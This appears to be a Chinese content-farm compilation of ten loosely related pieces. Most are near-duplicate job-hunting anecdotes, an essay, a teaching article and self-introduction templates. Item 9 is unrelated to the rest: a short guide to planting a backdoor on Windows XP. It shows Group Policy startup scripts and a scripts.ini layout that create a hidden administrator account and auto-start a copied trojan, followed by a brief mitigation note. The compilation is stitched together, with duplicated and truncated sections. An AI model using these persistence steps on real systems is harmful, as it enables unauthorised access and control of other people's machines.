换个思路去求职

以下是小编帮大家整理的换个思路去求职，本文共10篇，仅供参考，欢迎大家阅读。本文原稿由网友“Lotte”提供。

篇1：换个思路去求职

夏天，身边的同学夹着厚厚的简历四处跑招聘会，结果是四处碰壁，伤心而归，

换个思路去求职

。他们垂头丧气地回到宿舍就开始埋怨：“谁说21世纪是生物学的世纪？怎么在我们自己的世纪里找不到工作？”确实，学生物的人太多了，而现在国内生物产业并不发达，想找到个满意的工作很难。

看着他们那可以称得上是艺术品的简历，再看看自己那只是勉强打印了一下的简历，我并没有感觉到寒酸，因为自己已经胸有成竹。我从小爱好文学，经常有些豆腐块见诸报端。上了大学以后，宿舍安了电脑和宽带，写完后马上电子邮件发送过去，投稿更为方便，所以发表的文章越来越多。

接到公司面试通知的时候，我直接拿上了那寒酸的简历，还有发表的那一堆文章去公司面试。我很自信，因为自己不是应聘一般理科生习惯应聘的研发部门，而是一般文科学生才应聘的内刊编辑职位。

记得当时，主管见了我就高兴地说：“我们已经有了宣传企业文化的内刊，目前正打算办个技术型内刊，以宣传我们的产品和介绍国内外最新进展，正发愁怎么找这样的复合型人才，正巧你来了。”没错，我不仅有生物学的背景，还具备扎实的文学功底，所以主管很爽快地答应录用。

当我回来告诉同学自己被市里最大的生物公司录用的消息时，看着他们惊讶的面孔，心里有些得意。很快，我的故事在毕业生中传播开来。其他同学也开始八仙过海，各显神通。有的去了体育学院当老师，有的去了园林中专教书，

最为神奇的是一个哥儿们，他居然进了公安局。在他请我们吃饭的时候，我们问他去那里做什么工作，他故作不屑地说：“难道作痕迹检验不需要生物知识吗？”

其实，工作并不难找。对大学生而言，换个思路来求职，或许你会得到意想不到的结果。

20夏天，身边的同学夹着厚厚的简历四处跑招聘会，结果是四处碰壁，伤心而归。他们垂头丧气地回到宿舍就开始埋怨：“谁说21世纪是生物学的世纪？怎么在我们自己的世纪里找不到工作？”确实，学生物的人太多了，而现在国内生物产业并不发达，想找到个满意的工作很难。

看着他们那可以称得上是艺术品的简历，再看看自己那只是勉强打印了一下的简历，我并没有感觉到寒酸，因为自己已经胸有成竹。我从小爱好文学，经常有些豆腐块见诸报端。上了大学以后，宿舍安了电脑和宽带，写完后马上电子邮件发送过去，投稿更为方便，所以发表的文章越来越多。

接到公司面试通知的时候，我直接拿上了那寒酸的简历，还有发表的那一堆文章去公司面试。我很自信，因为自己不是应聘一般理科生习惯应聘的研发部门，而是一般文科学生才应聘的内刊编辑职位。

记得当时，主管见了我就高兴地说：“我们已经有了宣传企业文化的内刊，目前正打算办个技术型内刊，以宣传我们的产品和介绍国内外最新进展，正发愁怎么找这样的复合型人才，正巧你来了。”没错，我不仅有生物学的背景，还具备扎实的文学功底，所以主管很爽快地答应录用。

当我回来告诉同学自己被市里最大的生物公司录用的消息时，看着他们惊讶的面孔，心里有些得意。很快，我的故事在毕业生中传播开来。其他同学也开始八仙过海，各显神通。有的去了体育学院当老师，有的去了园林中专教书。最为神奇的是一个哥儿们，他居然进了公安局。在他请我们吃饭的时候，我们问他去那里做什么工作，他故作不屑地说：“难道作痕迹检验不需要生物知识吗？”

其实，工作并不难找。对大学生而言，换个思路来求职，或许你会得到意想不到的结果。

篇2：换个思路去求职

身边的同学夹着厚厚的简历四处跑招聘会，但很不幸的是四处碰壁，伤心而归。他们垂头丧气地回到宿舍就开始埋怨：“谁说21世纪是生物学的世纪?怎么在我们自己的世纪里找不到工作?”确实，学生物的人太多了，而现在国内生物产业并不发达，想找到个满意的工作很难。

看着他们那可以称得上是艺术品的简历，再看看自己那只是勉强打印了一下的简历，笔者并没有感觉到寒酸，因为自己已经胸有成竹。笔者从小爱好文学，经常有些豆腐块见诸报端。上了大学以后，宿舍安了电脑和宽带，写完后马上电子邮件发送过去，投稿更为方便，所以发表的文章越来越多。

接到公司面试通知的时候，笔者直接拿上了那寒酸的简历，还有发表的那一堆文章去公司面试。笔者很自信，因为自己不是应聘一般理科生习惯应聘的研发部门，而是一般文科学生才应聘的内刊编辑职位。

记得当时，主管见了笔者就高兴地说：“我们已经有了宣传企业文化的内刊，目前正打算办个技术型内刊，以宣传我们的产品和介绍国内外最新进展，正发愁怎么找这样的复合型人才，正巧你来了。”没错，笔者不仅有生物学的背景，还具备扎实的文学功底，所以主管很爽快地答应录用。

笔者回来后，当告诉同学自己被市里最大的生物公司录用的消息时，看着他们惊讶的面孔，心里有些得意。很快，笔者的故事在毕业生中传播开来。其他同学也开始八仙过海，各显神通。有的去了体育学院当老师，有的去了园林中专教书。最为神奇的是一个哥儿们，他居然进了公安局。在他请我们吃饭的时候，我们问他去那里做什么工作，他故作不屑地说：“难道作痕迹检验不需要生物知识吗?”

其实，工作并不难找。对大学生而言，换个思路来求职，或许你会得到意想不到的结果。

篇3：成功经验：换个思路来求职

成功经验：换个思路来求职

夏天，身边的同学夹着厚厚的简历四处跑招聘会，但很不幸的是四处碰壁，伤心而归。他们垂头丧气地回到宿舍就开始埋怨：“谁说21世纪是生物学的世纪？怎么在我们自己的世纪里找不到工作？”确实，学生物的人太多了，而现在国内生物产业并不发达，想找到个满意的工作很难。

看着他们那可以称得上是艺术品的简历，再看看自己那只是勉强打印了一下的简历，笔者并没有感觉到寒酸，因为自己已经胸有成竹。笔者从小爱好文学，经常有些豆腐块见诸报端。上了大学以后，宿舍安了电脑和宽带，写完后马上电子邮件发送过去，投稿更为方便，所以发表的文章越来越多。

接到公司面试通知的时候，笔者直接拿上了那寒酸的简历，还有发表的那一堆文章去公司面试。笔者很自信，因为自己不是应聘一般理科生习惯应聘的研发部门，而是一般文科学生才应聘的内刊编辑职位。

记得当时，主管见了笔者就高兴地说：“我们已经有了宣传企业文化的内刊，目前正打算办个技术型内刊，以宣传我们的.产品和介绍国内外最新进展，正发愁怎么找这样的复合型人才，正巧你来了。”没错，笔者不仅有生物学的背景，还具备扎实的文学功底，所以主管很爽快地答应录用。

笔者回来后，当告诉同学自己被市里最大的生物公司录用的消息时，看着他们惊讶的面孔，心里有些得意。很快，笔者的故事在毕业生中传播开来。其他同学也开始八仙过海，各显神通。有的去了体育学院当老师，有的去了园林中专教书。最为神奇的是一个哥儿们，他居然进了公安局。在他请我们吃饭的时候，我们问他去那里做什么工作，他故作不屑地说：“难道作痕迹检验不需要生物知识吗？”

其实，工作并不难找。对大学生而言，换个思路来求职，或许你会得到意想不到的结果。

责任编辑：天道酬勤

篇4：面试技巧：成功经验：换个思路来求职

20夏天，身边的同学夹着厚厚的简历四处跑招聘会，但很不幸的是四处碰壁，伤心而归，他们垂头丧气地回到宿舍就开始埋怨：“谁说21世纪是生物学的世纪？怎么在我们自己的世纪里找不到工作？”确实，学生物的人太多了，而现在国内生物产业并不发达，想找到个满意的工作很难。

看着他们那可以称得上是艺术品的简历，再看看自己那只是勉强打印了一下的简历，笔者并没有感觉到寒酸，因为自己已经胸有成竹。笔者从小爱好文学，经常有些豆腐块见诸报端。上了大学以后，宿舍安了电脑和宽带，写完后马上电子邮件发送过去，投稿更为方便，所以发表的文章越来越多。

接到公司面试通知的时候，笔者直接拿上了那寒酸的简历，还有发表的那一堆文章去公司面试。笔者很自信，因为自己不是应聘一般理科生习惯应聘的研发部门，而是一般文科学生才应聘的内刊编辑职位。

记得当时，主管见了笔者就高兴地说：“我们已经有了宣传企业文化的内刊，目前正打算办个技术型内刊，以宣传我们的产品和介绍国内外最新进展，正发愁怎么找这样的复合型人才，正巧你来了，

”没错，笔者不仅有生物学的背景，还具备扎实的文学功底，所以主管很爽快地答应录用。

笔者回来后，当告诉同学自己被市里最大的生物公司录用的消息时，看着他们惊讶的面孔，心里有些得意。很快，笔者的故事在毕业生中传播开来。其他同学也开始八仙过海，各显神通。有的去了体育学院当老师，有的去了园林中专教书。最为神奇的是一个哥儿们，他居然进了公安局。在他请我们吃饭的时候，我们问他去那里做什么工作，他故作不屑地说：“难道作痕迹检验不需要生物知识吗？”

其实，工作并不难找。对大学生而言，换个思路来求职，或许你会得到意想不到的结果。

职场贴士：很多人以为盘发会显老，其实盘发做的好看的话，可以提升个人魅力。特别是办公室里的长发美女，干练性感的盘发是个不错的选择

篇5：换个思路看问题高中作文精选

换一种人生态度，使我们少些不必要的挫折;换一种眼光看世界，世界会从此焕发明亮;换一种思维看人生，人生道路从此便截然不同。

换一种思维，享受生活中的点点滴滴，人生会充实。其实在失去之后才懂得，生活中最不起眼的点滴，就如同星星一般存在，那么平凡渺小却又是值得欣赏和珍惜的。换一种享受平凡的思维看世界，人生会充实，明天会精彩，未来会值得令人向往。

换一种思维，不要总是悲观，生活不会永远一帆风顺，人生路上总会遇到许许多多大大小小的挫折。因为我们还没有放弃，因为我们不怕失败，因为我们不会注定失败。因为有青春，因为我们还有明天值得奋斗，我们用力付出。我们的路还很长，我们还有重新来过的机会，总是悲观的人，注定会总是看到失败。换一种乐观思维看明天，我们还有那么多的精彩未发现。

换一种思维，不要过分骄傲，不要过分自满。实质就是自以为是，’没有走过别人的路，就不要对人指指点点。‘自己要有自知之明，每个人都会犯错，需要的是他人的帮助，人生之路上，难免遇到许多挫折，我们要有化悲痛为力量的精神，而不是过分骄傲。换一种思维，不要过分骄傲，你会收获更大的成功。

换一种思维，站在他人立场看自己。人人都有小我，我们总是站在自己的立场看问题，学会变通。毕竟谁也不会永远正确。换一种思维，换一种立场，少些争吵，多一些理解包容。更热爱生活。

换一种思维，改变一个人生，换一种明天。

篇6：换个思维去教学(网友来稿)

换个思维去教学(网友来稿)

孙亦涛

几年前，在某杂志上看到一篇报道：美国的小学生竟然可以独立完成关于人类文化的论文。读罢，不禁愕然。人类文化是个很大的题目，即使是作为教师的我们也不敢轻易涉足，更不用说是我们的学生了。于是很佩服美国孩子探索精神和自信，也更多地联想到我们的学生如果也能达到这个程度，那将多么令人振奋。

反思以往的教学，我们采用的是“先教后学”的模式，总是认为学生的学习积极性太差，总是埋怨教学效果不佳，总是忽略了兴趣是最大的动力这个原则，总是在一相情愿地往学生的嘴里塞知识。我曾经在诱发学生学习积极性上下过功夫，却仍然只是局限在提出问题的数量上，原本想通过学生较高水平的回答来讲述知识点，可事与愿违，大部分题目学生都回答不出来，甚至不知从何下手，问题最终还得我自己回答，反而浪费了时间。更另人心痛的是，学生已经习惯了被人牵着鼻子去学习，也因屡屡回答不出问题而开始麻木，基本丧失了学习的自信和探索精神。由于对价值论、语文概念等问题上的认知模糊，导致了语文实践的混乱；由于工具性教学，造成了语文的程式化、繁琐化、数学化、教条化；由于标新立异、急功近利，使改革华而不实，被事实证明得花零蒂落；由于偏离了语言规律，使国语教学“积重难返”。这需要我们重新进行思考和扬弃，从整体上来把握大语文教学的改革方向和发展趋势。

新课程改革给我们带来了新的思路，引导我们以全新的视角重新审视我们的教学工作。提高教学质量的关键是改变教学模式。

素质教育是全面发展的教育，而新课改正是围绕着这一发展目标应运而生的，新课标的一个根本思想，就是要让学生学会学习。而要使学生得到全方位的发展，就必须首先改革课堂教学，而要做到这一点就要转变教师观念，强调学生在课堂教学中的主体地位，才能培养学生的各方面的能力。

教学模式的转变体现在教师和学生两个方面

必须改变教师的教学理念。从教师在课堂教学中的作用来看，教师应成为学生学习的组织者和合作者，而不是权威的讲授者，必须将“先教后学”的模式变为“先学后教”模式。新教学模式的教学提倡教师是高速公路的引桥、路标，能让学生找到适合自己前进的速度和坡度，其主要作用体现在一个“导”上。以前，学生多习惯于被动的去接受知识，等待教师将知识象填鸭一样灌输给他们，加之学业较重，无暇去做课外阅读，无暇去发展自己的个人爱好，也就无法很好地养成自学的习惯。不妨改变一下思路：让学生带着学习目标、自学要求先行接触课文，自学，尽力解决力所能及的问题，整理疑问，教师帮助解决。每个学生产生的问题各不一样，教师解答的方向也就不同，既传授了知识，又兼顾了学生的个性。“先学后教”区别与传统的预习，它的实质就是最大程度调动起学生的积极性，让学生动起来，培养良好的自学习惯，树立终身学习的强烈意识。

学生是学习的主体，教学工作最终还是要指归学生的学习效率，所以，教学模式的转变主要应体现在教给学生正确的学习方式。即“授之以渔”，给学生点金的手指，而非黄金。

如何转变学生的学习方式呢？

在我看来，所谓改变学生的学习方式，是指从单一、被动的学习方式，向多样化的学习方式转变。其中，自主探索、合作交流和操作实践都是重要的学习方式。学生的学习过程不是学生被动地吸收课本上的现成结论，而是一个学生亲自参与的丰富、生动的思维活动，经历一个实践和创新的过程。在实践中，我们应竭力让学生成为学习活动的主人，我们应该根据学生的提问，提供示范、建议和指导，引导学生们大胆阐述并讨论他们的观点，让学生说明他们所获得结论的有效性、并对结论进行评价。我认为，这就是语文学习中的“自主学习”。教学中，我作了如下尝试：

（一） 充分发挥学生的主体作用，鼓励学生质疑和创新。

在课堂上，让学生自己设计问题质疑问难。教会学生提问是关键。首先，必须转变学生的学习观念，打破学生的依赖思想，“逼迫”学生发问，只要学生敢于提出，就应该予以肯定和鼓励。其次，必须给以方法上的指导。叶圣陶说：“内容方面固然不容忽视，而方法方面尤其应当注重”。诺贝尔奖获得者丁肇中教授就曾敦促我们教师“不要教死知识，要授之以方法，打开学生的思路，培养他们的自学能力。”我主要从两方面进行指导：一是提问的角度和方式；二是提问思路和内容。我告诉学生：

盯住“眼睛”问题目，了望全文；

摄取“灵魂”问中心，突出主题；

拎起“骨架”问思路，训练思维；

诊断疑难问困惑，突破难点；

找准口子问文眼，提高速度；

抓住词语问语意，培养语感；

注意“陷阱”问“不疑”，挖掘深度；

放眼课外问阅读，迁移能力。

现仅就高中语文课文《致橡树》为例，学生自己设计的问题如下：

1、诗中作者反对什么样的爱情观？

2、作者表达了对何种爱情观的向往？

3、诗中始终没有出现“爱情”这个词，却以橡树和木棉为形象，这是什么写作手法？

不难看出，这些问题表现出：学生基本抓住这首诗的主要内容，而且可以看出学生已经知道如何鉴赏诗歌了。教师稍加点拨，学生就能掌握，不仅教学效率提高，学生更能体验到自己学习的乐趣，极大的激发起他们的学习兴趣，“兴趣是最好的老师”。因此，课堂上，我极为看重学生的参与意识，并努力张扬他们的这种意识。让学生积极主动地学，精心设计教学方案；始终把学生放在学的主体位置上，把教案变成“学案”，营造一个生生互动、师生互动的自主学习氛围。

（二） 鼓励学生合作学习

合作学习是在主体性的自主能力得到充分张扬的条件下实现的，它一般是指学生在小组或团队中为了完成共同的任务，有明确的责任分工的互助性学习。

合作动机和个人责任，是合作学习产生良好教学效果的关键。合作学习将个人之间的竞争转化为小组之间的竞争，有助于培养学生合作的精神和竞争意识；有助于因材施教，可以弥补一个教师难以面向有差异的众多学生的教学的不足，从而真正实现使每个学生都得到发展的目标。我是这样做的：首先由学生组成合作小组，针对课文内容分头收集有关信息，然后讨论、探究，同学答问(每组派代表)，将答问集中，若有分歧再进行辩论。

在合作学习中由于有学习者积极参与，高密度的交互作用和积极的自我概念，使教学过程远远不只是一个认知的过程，同时它还是一个交往与审美的情感体验过程。

（三） 提倡研究性学习

研究学习是从学科领域或现实社会生活中选择和确定研究主题，在教学中，创设一种类似于学术（或科学）研究的情境，通过学生自主、独立地发现问题、实验、操作、调查、搜集与处理信息、表达与交流等探索活动，获得知识、技能、情感与态度的发展，特别是探索精神和创新能力的发展的学习方式和学习过程。探究学习旨在培养学生的自学能力。同学们成立了学习探究小组，课外名著学习小组，学生课堂学习成果评价组等等。课堂上，针对语文学习中的问题展开抢答、辩论、探究，最后由课堂学习成果评价组予以仲裁和评定。师生之间，学生之间加强交流，切磋技巧。这样，提高了学生的阅读能力和审美能力。

的确，和接受学习相比，探究学习具有更强的'问题性、实践性、参与性和开放性。经历探究过程以获得理智能力发展和深层次的情感体验，建构知识，掌握解决问题的方法，是探究学习要达到的主要目标。

（四） 注重评价

传统的教学评价只能使少数学生能够获得鼓励，体验成功的快乐，大多数学生成了失败者。应该把评定看作是课程、教学的一个有机构成环节，它同样也是促进学生发展的有效教育手段。评定不是为了给出学生在群体中所处位置，而是为了让学生在现有基础上谋求实实在在的发展。它关注让学生学会更多的学习策略，给学生提供表现自己所知所能的各种机会，通过评定形成学生自我认识和自我教育、自我进步的能力。

我的具体做法就是充分肯定每一个学生的学习成果，让每一个学生都体验一下成功的乐趣。与此同时，适当地指出学生的错误也是必不可少的。

当然，教育还是要传授知识的，模式的改变不等于忽略知识，具体教学中还应注意的几个问题

1、不能忽视基础知识的教学。

2、不能忽视教师的点拨讲授。新课改注重学生的自主学习，更注重学生获取知识的过程，并在这一过程中形成正确的价值观，因此在学生遇到疑难是教师的讲解中处理问题的方法会给学生留下深刻的影响，得到真实的情感体验，从而形成能力，

3、注意课本的延伸。教材作为一种教学资源，以课程标准为准，可以适当的补充和改变，教师应在指导自学和分层练习时加入一定的拓展练习，尤其是语文教学，课程标准提倡扩大学生的阅读面，教师就要在这方面下工夫，才能更好的达到新课改的目标。

作者邮箱： riston825@sohu.com

篇7：换个思维去教学(网友来稿)

换个思维去教学(网友来稿)

孙亦涛

几年前，在某杂志上看到一篇报道：美国的小学生竟然可以独立完成关于人类文化的论文。读罢，不禁愕然。人类文化是个很大的题目，即使是作为教师的我们也不敢轻易涉足，更不用说是我们的学生了。于是很佩服美国孩子探索精神和自信，也更多地联想到我们的学生如果也能达到这个程度，那将多么令人振奋。

反思以往的教学，我们采用的是“先教后学”的模式，总是认为学生的学习积极性太差，总是埋怨教学效果不佳，总是忽略了兴趣是最大的动力这个原则，总是在一相情愿地往学生的'嘴里塞知识。我曾经在诱发学生学习积极性上下过功夫，却仍然只是局限在提出问题的数量上，原本想通过学生较高水平的回答来讲述知识点，可事与愿违，大部分题目学生都回答不出来，甚至不知从何下手，问题最终还得我自己回答，反而浪费了时间。更另人心痛的是，学生已经习惯了被人牵着鼻子去学习，也因屡屡回答不出问题而开始麻木，基本丧失了学习的自信和探索精神。由于对价值论、语文概念等问题上的认知模糊，导致了语文实践的混乱；由于工具性教学，造成了语文的程式化、繁琐化、数学化、教条化；由于标新立异、急功近利，使改革华而不实，被事实证明得花零蒂落；由于偏离了语言规律，使国语教学“积重难返”。这需要我们重新进行思考和扬弃，从整体上来把握大语文教学的改革方向和发展趋势。

新课程改革给我们带来了新的思路，引导我们以全新的视角重新审视我们的教学工作。提高教学质量的关键是改变教学模式。

素质教育（www.35d1.com－上网第一站35d1教育网）是全面发展的教育（www.35d1.com－上网第一站35d1教育网），而新课改正是围绕着这一发展目标应运而生的，新课标的一个根本思想，就是要让学生学会学习。而要使学生得到全方位的发展，就必须首先改革课堂教学，而要做到这一点就要转变教师观念，强调学生在课堂教学中的主体地位，才能培养学生的各方面的能力。

教学模式的转变体现在教师和学生两个方面

必须改变教师的教学理念。从教师在课堂教学中的作用来看，教师应成为学生学习的组织者和合作者，而不是权威的讲授者，必须将“先教后学”的模式变为“先学后教”模式。新教学模式的教学提倡教师是高速公路的引桥、路标，能让学生找到适合自己前进的速度和坡度，其主要作用体现在一个“导”上。以前，学生多习惯于被动的去接受知识，等待教师将知识象填鸭一样灌输给他们，加之学业较重，无暇去做课外阅读，无暇去发展自己的个人爱好，也就无法很好地养成自学的习惯。不妨改变一下思路：让学生带着学习目标、自学要求先行接触课文，自学，尽力解决力所能及的问题，整理疑问，教师帮助解决。每个学生产生的问题各不一样，教师解答的方向也就不同，既传授了知识，又兼顾了学生的个性。“先学后教”区别与传统的预习，它的实质就是最大程度调动起学生的积极性，让学生动起来，培养良好的自学习惯，树立终身学习的强烈意识。

学生是学习的主体，教学工作最终还是要指归学生的学习效率，所以，教学模式的转变主要应体现在教给学生正确的学习方式。即“授之以渔”，给学生点金的手指，而非黄金。

如何转变学生的学习方式呢？

在我看来，所谓改变学生的学习方式，是指从单一、被动的学习

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篇8：另类面试：换种思路去求职

现在的应聘考核千奇百怪，各种花样也层出不穷，随时考验着求职者的神经，

另类面试：换种思路去求职

。虽然早过求职的“黄金年龄”，我还是经常和一批年轻人竞争着职位。

当市内一家广告公司招聘人员时，我也捧着求职材料，来到了这家公司的面试现场。广告公司的经理很年轻，和我上大学的儿子年龄相仿。年轻的管理者有年轻人的思路，他没有问太多问题，甚至连一份简历都没有收。面试的唯一考验是，将公司提供的一份前一天的晚报原价卖出去，

等我们拿到报纸后，意外地发现不仅报纸是过期的，而且头版上还有个脏兮兮的脚印子。许多求职者和我一样，面对公司给出的难题，不由得皱起了眉头。但是，还是要争取这份工作。

求职者各自选择卖报的地点，我径直去了附近的公园。公园里小卖部有报纸卖，还有抱着报纸的零售报贩。像我这样另类的卖报人，绝对是一个异类，而我也没有太多成功的信心。问了几个人，大家都对我卖报的举动很意外，也不约而同地选择了拒绝。很快，我便想明白了，决定换一种思路卖报DD

我不再出售整份报纸，而是将报纸拆开了，散卖给那些在公园里游玩想找地方小坐的人。一份报纸数十版有十余张，每张我以两角钱出售让游客可以垫着坐。没想到，我新的卖报策略大获成功，把公园里卖一元钱一个硬纸坐垫的小贩比了下去。

应聘的结果是，只有两、三个人卖出了报纸，而且我的卖报收入是最多的。可想而知，我成为了唯一的留用者。而在求职中，换一种思路往往是打开局面的捷径，创新的意识也能让自己在求职者中最终脱颖而出。

篇9：换个角度 开启后门的另一个思路

1、组策略启动脚本

利用过程：启动组策略（运行->gpedit.msc->计算机配置->Windows 设置->脚本（启动/关机） ）

2、启动与关机相关设置

选择启动->属性->添加，会弹出选择脚本名，

换个角度 开启后门的另一个思路

。选择程序 C:\\windows\\system32\\net.exe，参数 user admin /add 来执行 net user admin /add。再同样添加C:\\Windows\\system32\\net.exe localgroup administrators admin /add来执行 net localgroup administrators admin /add。

费话少说： 再经过进一步了解的时候发现这里是由C:\\WINDOWS\\system32\\GroupPolicy\\Machine\\Scripts\\scripts.ini（PS：默认是隐藏的。）来控制 shutdown 和 Startup 的。

ini组成方式如下：

[Startup]0CmdLine=C:\\WINDOWS\\system32\\net.exe0Parameters=user admin /add1CmdLine=C:\\WINDOWS\\system32\\net.exe1Parameters=localgroup administrators admin /add[Shutdown]0CmdLine=1.bat0Parameters=[startup] \\\\代表是启动0CmdLine=C:\\WINDOWS\\system32\\net.exe \\\\脚本名0Parameters=user admin /add \\\\脚本参数1CmdLine=C:\\WINDOWS\\system32\\net.exe \\\\第二条脚本名1Parameters=localgroup administrators admin /add \\\\第二条脚本参数[Shutdown] \\\\关闭0CmdLine=1.bat \\\\脚本名 1.bat 目录队应于 C:\\WINDOWS\\system32\\GroupPolicy\\Machine\\Scripts\\Startup0Parameters= \\\\参数

也就是说 scripts.ini 控制着整个启动，就如同以前 win.ini 一样，

《换个角度 开启后门的另一个思路》()。

C:\\WINDOWS\\system32\\GroupPolicy\\Machine\\Scripts\\Startup\\ 启动文件的目录，那样脚本名路径就可以不用加详细目录名了。

C:\\WINDOWS\\system32\\GroupPolicy\\Machine\\Scripts\\shutdown\\ 关闭文件目录，同上。

思路就这样，copy 后门到非常隐藏的目录，再加个启动脚本参数，实现木马启动。

解决此缺陷的方法：组策略->计算机配置->管理模板->系统->脚本，相应的禁止就行了。

或者来招毒的，彻底禁止掉这个：把scripts.ini 对应用户权限全部删除，system administrators 全部取消，就没人能访问了。

以上在 Windows XP SP2 均已测试成功。

篇10：一分钟求职自我介绍思路

思路二：学习中—生活中—工作中

各位考官，大家好!我是xx号考生，是一名应届本科毕业生。

生活中，我是一个性格开朗的人，我身边的朋友都愿意把我当知心人，经常在遇到问题的时候找我聊天，找我出主意，因此我真的是一个朋友缘非常好的人。

在学习中，我的成绩比较优异，连续三次获得国家奖学金。还参加了本校创新课程“关于xx的实证分析”，这一课程获得了校科研一等奖。

在实践中，我积极参与各类社会实践活动，记得我在XX银行XX分行实习的三个月中，协助处理了近千笔的银行业务，没有出过一次差错，对于日常柜台上的业务咨询也能给予客户相应的反馈和答复，因此获得了“优秀实习生”的称号。

所以，我希望能够在贵行的发展中贡献自己的一份力量。

除了以上三种基本思路以外，各位考生还可以使用关键词概括的方式，通过几个关键词来介绍自己。

去外企求职面试

去医院求职自荐信材料

换个环境找机会

换个角度作文

议论文：换个角度

换个思路去求职.doc

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